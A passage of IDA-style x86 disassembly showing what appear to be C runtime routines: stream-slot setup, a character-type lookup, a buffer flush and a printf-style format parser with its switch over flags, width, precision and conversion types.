; ---------------------------------------------------------------------------


loc_41F409:				; CODE XREF: sub_41F3D2+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BC9B
		pop	ecx
		mov	ecx, dword_4D9A30
		mov	[edi+ecx], eax
		mov	eax, dword_4D9A30
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F443
		mov	esi, edi


loc_41F42D:				; CODE XREF: sub_41F3D2+35j
		cmp	esi, ebp
		jz	short loc_41F443
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F443:				; CODE XREF: sub_41F3D2+12j
					; sub_41F3D2+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F3D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F44A	proc near		; CODE XREF: sub_41BE6E+17p
					; sub_41BE6E+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F468
		mov	ecx, off_43A680
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F4BA
; ---------------------------------------------------------------------------


loc_41F468:				; CODE XREF: sub_41F44A+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43A680
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F48D
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F496
; ---------------------------------------------------------------------------


loc_41F48D:				; CODE XREF: sub_41F44A+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F496:				; CODE XREF: sub_41F44A+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423BF4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F4B6
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F4B6:				; CODE XREF: sub_41F44A+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F4BA:				; CODE XREF: sub_41F44A+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F44A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4BF	proc near		; CODE XREF: sub_41C006+46p
					; sub_41C100+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F5C8
		test	al, 40h
		jnz	loc_41F5C8
		test	al, 1
		jz	short loc_41F4F7
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F5C8
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F4F7:				; CODE XREF: sub_41F4BF+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F531
		cmp	esi, offset dword_43AD98
		jz	short loc_41F51F
		cmp	esi, offset dword_43ADB8
		jnz	short loc_41F52A


loc_41F51F:				; CODE XREF: sub_41F4BF+56j
		push	ebx
		call	sub_423D3D
		test	eax, eax
		pop	ecx
		jnz	short loc_41F531


loc_41F52A:				; CODE XREF: sub_41F4BF+5Ej
		push	esi
		call	sub_4238F7
		pop	ecx


loc_41F531:				; CODE XREF: sub_41F4BF+4Ej
					; sub_41F4BF+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F59E
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F561
		push	edi
		push	eax
		push	ebx
		call	sub_422825
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F594
; ---------------------------------------------------------------------------


loc_41F561:				; CODE XREF: sub_41F4BF+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F57C
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DAA60[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F581
; ---------------------------------------------------------------------------


loc_41F57C:				; CODE XREF: sub_41F4BF+A5j
		mov	eax, offset dword_43ACE0


loc_41F581:				; CODE XREF: sub_41F4BF+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F594
		push	2
		push	0
		push	ebx
		call	sub_422633
		add	esp, 0Ch


loc_41F594:				; CODE XREF: sub_41F4BF+A0j
					; sub_41F4BF+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F5B2
; ---------------------------------------------------------------------------


loc_41F59E:				; CODE XREF: sub_41F4BF+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_422825
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F5B2:				; CODE XREF: sub_41F4BF+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F5BE
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F5CD
; ---------------------------------------------------------------------------


loc_41F5BE:				; CODE XREF: sub_41F4BF+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F5D0
; ---------------------------------------------------------------------------


loc_41F5C8:				; CODE XREF: sub_41F4BF+10j
					; sub_41F4BF+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F5CD:				; CODE XREF: sub_41F4BF+FDj
		or	eax, 0FFFFFFFFh


loc_41F5D0:				; CODE XREF: sub_41F4BF+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F4BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5D4	proc near		; CODE XREF: sub_41C006+29p
					; sub_41C100+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FCED
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F608
; ---------------------------------------------------------------------------


loc_41F600:				; CODE XREF: sub_41F5D4+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F608:				; CODE XREF: sub_41F5D4+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FCED
		cmp	bl, 20h
		jl	short loc_41F629
		cmp	bl, 78h
		jg	short loc_41F629
		movsx	eax, bl
		mov	al, byte ptr flt_427704[eax]
		and	eax, 0Fh
		jmp	short loc_41F62B
; ---------------------------------------------------------------------------


loc_41F629:				; CODE XREF: sub_41F5D4+40j
					; sub_41F5D4+45j
		xor	eax, eax


loc_41F62B:				; CODE XREF: sub_41F5D4+53j
		movsx	eax, byte_427724[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FCDC	; default
		jmp	off_41FCF5[eax*4] ; switch jump


loc_41F649:				; DATA XREF: ___:off_41FCF5o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F642 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F664:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		movsx	eax, bl		; jumptable 0041F642 case 2
		sub	eax, 20h
		jz	short loc_41F6A7
		sub	eax, 3
		jz	short loc_41F69E
		sub	eax, 8
		jz	short loc_41F695
		dec	eax
		dec	eax
		jz	short loc_41F68C
		sub	eax, 3
		jnz	loc_41FCDC	; default
		or	[ebp+var_4], 8
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F68C:				; CODE XREF: sub_41F5D4+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F695:				; CODE XREF: sub_41F5D4+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F69E:				; CODE XREF: sub_41F5D4+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F6A7:				; CODE XREF: sub_41F5D4+96j
		or	[ebp+var_4], 2
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F6B0:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		cmp	bl, 2Ah		; jumptable 0041F642 case 3
		jnz	short loc_41F6D8
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FCDC	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F6D0:				; CODE XREF: sub_41F5D4+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F6D8:				; CODE XREF: sub_41F5D4+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F6D0
; ---------------------------------------------------------------------------


loc_41F6E7:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		mov	[ebp+var_10], edx ; jumptable 0041F642 case 4
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F6EF:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		cmp	bl, 2Ah		; jumptable 0041F642 case 5
		jnz	short loc_41F712
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FCDC	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F712:				; CODE XREF: sub_41F5D4+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F724:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		cmp	bl, 49h		; jumptable 0041F642 case 6
		jz	short loc_41F757
		cmp	bl, 68h
		jz	short loc_41F74E
		cmp	bl, 6Ch
		jz	short loc_41F745
		cmp	bl, 77h
		jnz	loc_41FCDC	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F745:				; CODE XREF: sub_41F5D4+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F74E:				; CODE XREF: sub_41F5D4+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F5D4+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F770
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F770
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F770:				; CODE XREF: sub_41F5D4+186j
					; sub_41F5D4+18Cj
		mov	[ebp+var_30], edx


loc_41F773:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		mov	ecx, off_43A680	; jumptable 0041F642 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F79F
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FD15
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F79F:				; CODE XREF: sub_41F5D4+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FD15
		add	esp, 0Ch
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41F7B7:				; CODE XREF: sub_41F5D4+6Ej
					; DATA XREF: ___:off_41FCF5o
		movsx	eax, bl		; jumptable 0041F642 case 7
		cmp	eax, 67h
		jg	loc_41F9DF
		cmp	eax, 65h
		jge	loc_41F862
		cmp	eax, 58h
		jg	loc_41F8C0
		jz	loc_41FA53
		sub	eax, 43h
		jz	loc_41F883
		dec	eax
		dec	eax
		jz	short loc_41F858
		dec	eax
		dec	eax
		jz	short loc_41F858
		sub	eax, 0Ch
		jnz	loc_41FBDE
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F801
		or	byte ptr [ebp+var_4+1],	8


loc_41F801:				; CODE XREF: sub_41F5D4+227j
					; sub_41F5D4+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F80E
		mov	esi, 7FFFFFFFh


loc_41F80E:				; CODE XREF: sub_41F5D4+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FA27
		test	ecx, ecx
		jnz	short loc_41F836
		mov	ecx, off_43A89C
		mov	[ebp+var_8], ecx


loc_41F836:				; CODE XREF: sub_41F5D4+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F83F:				; CODE XREF: sub_41F5D4+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FA1E
		cmp	word ptr [eax],	0
		jz	loc_41FA1E
		inc	eax
		inc	eax
		jmp	short loc_41F83F
; ---------------------------------------------------------------------------


loc_41F858:				; CODE XREF: sub_41F5D4+212j
					; sub_41F5D4+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F862:				; CODE XREF: sub_41F5D4+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41F946
		mov	[ebp+var_10], 6
		jmp	loc_41F954
; ---------------------------------------------------------------------------


loc_41F883:				; CODE XREF: sub_41F5D4+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F88F
		or	byte ptr [ebp+var_4+1],	8


loc_41F88F:				; CODE XREF: sub_41F5D4+2B5j
					; sub_41F5D4+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F8D6
		call	sub_41FDD0
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423D63
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F8E9
		mov	[ebp+var_28], 1
		jmp	short loc_41F8E9
; ---------------------------------------------------------------------------


loc_41F8C0:				; CODE XREF: sub_41F5D4+1FBj
		sub	eax, 5Ah
		jz	short loc_41F8F7
		sub	eax, 9
		jz	short loc_41F88F
		dec	eax
		jz	loc_41FAB9
		jmp	loc_41FBDE
; ---------------------------------------------------------------------------


loc_41F8D6:				; CODE XREF: sub_41F5D4+2C5j
		call	sub_41FDB3
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F8E9:				; CODE XREF: sub_41F5D4+2E1j
					; sub_41F5D4+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FBDE
; ---------------------------------------------------------------------------


loc_41F8F7:				; CODE XREF: sub_41F5D4+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	eax, eax
		pop	ecx
		jz	short loc_41F938
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41F938
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F929
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FBDE
; ---------------------------------------------------------------------------


loc_41F929:				; CODE XREF: sub_41F5D4+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FBDB
; ---------------------------------------------------------------------------


loc_41F938:				; CODE XREF: sub_41F5D4+32Fj
					; sub_41F5D4+336j
		mov	eax, off_43A898
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41F9D4
; ---------------------------------------------------------------------------


loc_41F946:				; CODE XREF: sub_41F5D4+29Dj
		jnz	short loc_41F954
		cmp	bl, 67h
		jnz	short loc_41F954
		mov	[ebp+var_10], 1


loc_41F954:				; CODE XREF: sub_41F5D4+2AAj
					; sub_41F5D4:loc_41F946j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43AC28
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41F9A6
		cmp	[ebp+var_10], 0
		jnz	short loc_41F9A6
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43AC34
		pop	ecx


loc_41F9A6:				; CODE XREF: sub_41F5D4+3BCj
					; sub_41F5D4+3C2j
		cmp	bl, 67h
		jnz	short loc_41F9BD
		test	esi, esi
		jnz	short loc_41F9BD
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43AC2C
		pop	ecx


loc_41F9BD:				; CODE XREF: sub_41F5D4+3D5j
					; sub_41F5D4+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41F9D3
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41F9D3:				; CODE XREF: sub_41F5D4+3F0j
		push	edi


loc_41F9D4:				; CODE XREF: sub_41F5D4+36Dj
		call	sub_41B960
		pop	ecx
		jmp	loc_41FBDB
; ---------------------------------------------------------------------------


loc_41F9DF:				; CODE XREF: sub_41F5D4+1E9j
		sub	eax, 69h
		jz	loc_41FAB9
		sub	eax, 5
		jz	loc_41FA8F
		dec	eax
		jz	loc_41FA7C
		dec	eax
		jz	short loc_41FA4C
		sub	eax, 3
		jz	loc_41F801
		dec	eax
		dec	eax
		jz	loc_41FABD
		sub	eax, 3
		jnz	loc_41FBDE
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FA5A
; ---------------------------------------------------------------------------


loc_41FA1E:				; CODE XREF: sub_41F5D4+270j
					; sub_41F5D4+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FBDB
; ---------------------------------------------------------------------------


loc_41FA27:				; CODE XREF: sub_41F5D4+24Fj
		test	ecx, ecx
		jnz	short loc_41FA34
		mov	ecx, off_43A898
		mov	[ebp+var_8], ecx


loc_41FA34:				; CODE XREF: sub_41F5D4+455j
		mov	eax, ecx


loc_41FA36:				; CODE XREF: sub_41F5D4+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FA45
		cmp	byte ptr [eax],	0
		jz	short loc_41FA45
		inc	eax
		jmp	short loc_41FA36
; ---------------------------------------------------------------------------


loc_41FA45:				; CODE XREF: sub_41F5D4+467j
					; sub_41F5D4+46Cj
		sub	eax, ecx
		jmp	loc_41FBDB
; ---------------------------------------------------------------------------


loc_41FA4C:				; CODE XREF: sub_41F5D4+425j
		mov	[ebp+var_10], 8


loc_41FA53:				; CODE XREF: sub_41F5D4+201j
		mov	[ebp+var_2C], 7


loc_41FA5A:				; CODE XREF: sub_41F5D4+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FAC4
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FAC4
; ---------------------------------------------------------------------------


loc_41FA7C:				; CODE XREF: sub_41F5D4+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FAC4
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FAC4
; ---------------------------------------------------------------------------


loc_41FA8F:				; CODE XREF: sub_41F5D4+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDB3
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FAA8
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FAAD
; ---------------------------------------------------------------------------


loc_41FAA8:				; CODE XREF: sub_41F5D4+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FAAD:				; CODE XREF: sub_41F5D4+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FCDC	; default
; ---------------------------------------------------------------------------


loc_41FAB9:				; CODE XREF: sub_41F5D4+2F7j
					; sub_41F5D4+40Ej
		or	[ebp+var_4], 40h


loc_41FABD:				; CODE XREF: sub_41F5D4+432j
		mov	[ebp+var_C], 0Ah


loc_41FAC4:				; CODE XREF: sub_41F5D4+491j
					; sub_41F5D4+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FAD6
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FDC0
		pop	ecx
		jmp	short loc_41FB17
; ---------------------------------------------------------------------------


loc_41FAD6:				; CODE XREF: sub_41F5D4+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FAFD
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FAF2
		call	sub_41FDB3
		pop	ecx
		movsx	eax, ax


loc_41FAEF:				; CODE XREF: sub_41F5D4+527j
					; sub_41F5D4+539j
		cdq
		jmp	short loc_41FB17
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F5D4+510j
		call	sub_41FDB3
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FAEF
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F5D4+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FB0F
		call	sub_41FDB3
		pop	ecx
		jmp	short loc_41FAEF
; ---------------------------------------------------------------------------


loc_41FB0F:				; CODE XREF: sub_41F5D4+531j
		call	sub_41FDB3
		pop	ecx
		xor	edx, edx


loc_41FB17:				; CODE XREF: sub_41F5D4+500j
					; sub_41F5D4+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FB38
		test	edx, edx
		jg	short loc_41FB38
		jl	short loc_41FB27
		test	eax, eax
		jnb	short loc_41FB38


loc_41FB27:				; CODE XREF: sub_41F5D4+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FB3C
; ---------------------------------------------------------------------------


loc_41FB38:				; CODE XREF: sub_41F5D4+547j
					; sub_41F5D4+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FB3C:				; CODE XREF: sub_41F5D4+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FB45
		and	edi, 0


loc_41FB45:				; CODE XREF: sub_41F5D4+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FB54
		mov	[ebp+var_10], 1
		jmp	short loc_41FB58
; ---------------------------------------------------------------------------


loc_41FB54:				; CODE XREF: sub_41F5D4+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FB58:				; CODE XREF: sub_41F5D4+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FB62
		and	[ebp+var_1C], 0


loc_41FB62:				; CODE XREF: sub_41F5D4+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FB68:				; CODE XREF: sub_41F5D4+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FB78
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FBB3


loc_41FB78:				; CODE XREF: sub_41F5D4+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DC20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DBB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FBA9
		add	ebx, [ebp+var_2C]


loc_41FBA9:				; CODE XREF: sub_41F5D4+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FB68
; ---------------------------------------------------------------------------


loc_41FBB3:				; CODE XREF: sub_41F5D4+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FBDE
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FBD1
		test	eax, eax
		jnz	short loc_41FBDE


loc_41FBD1:				; CODE XREF: sub_41F5D4+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FBDB:				; CODE XREF: sub_41F5D4+35Fj
					; sub_41F5D4+406j ...
		mov	[ebp+var_C], eax


loc_41FBDE:				; CODE XREF: sub_41F5D4+21Bj
					; sub_41F5D4+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FCDC	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FC16
		test	bh, 1
		jz	short loc_41FBFB
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FC0F
; ---------------------------------------------------------------------------


loc_41FBFB:				; CODE XREF: sub_41F5D4+61Fj
		test	bl, 1
		jz	short loc_41FC06
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FC0F
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41F5D4+62Aj
		test	bl, 2
		jz	short loc_41FC16
		mov	[ebp+var_16], 20h


loc_41FC0F:				; CODE XREF: sub_41F5D4+625j
					; sub_41F5D4+630j
		mov	[ebp+var_1C], 1


loc_41FC16:				; CODE XREF: sub_41F5D4+61Aj
					; sub_41F5D4+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FC36
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FD4A
		add	esp, 10h


loc_41FC36:				; CODE XREF: sub_41F5D4+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FD7B
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FC68
		test	bl, 4
		jnz	short loc_41FC68
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FD4A
		add	esp, 10h


loc_41FC68:				; CODE XREF: sub_41F5D4+67Bj
					; sub_41F5D4+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FCAF
		cmp	[ebp+var_C], 0
		jle	short loc_41FCAF
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FC7D:				; CODE XREF: sub_41F5D4+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
